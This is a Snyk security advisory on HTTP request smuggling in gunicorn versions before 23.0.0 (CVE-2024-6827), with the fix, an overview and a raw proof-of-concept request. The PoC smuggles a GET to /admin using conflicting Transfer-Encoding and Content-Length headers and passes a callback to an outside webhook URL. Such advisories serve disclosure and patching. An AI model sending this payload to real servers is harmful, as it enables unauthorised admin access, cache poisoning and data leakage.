HTTP Request Smuggling Affecting gunicorn package, versions [,23.0.0)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
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Test your applications- Snyk IDSNYK-PYTHON-GUNICORN-9510910
- published23 Mar 2025
- disclosed20 Mar 2025
- credit1nt3rc3pt0r
Introduced: 20 Mar 2025
NewCVE-2024-6827 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade gunicorn to version 23.0.0 or higher.
Overview
gunicorn is a Python WSGI HTTP Server for UNIX
Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper validation of the Transfer-Encoding header. An attacker can manipulate session data, poison caches, or compromise data integrity by exploiting the fallback to Content-Length when Transfer-Encoding is not correctly handled.
PoC
POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 6
Transfer-Encoding: chunked,gzip
73
GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1
Host: 172.24.10.169
0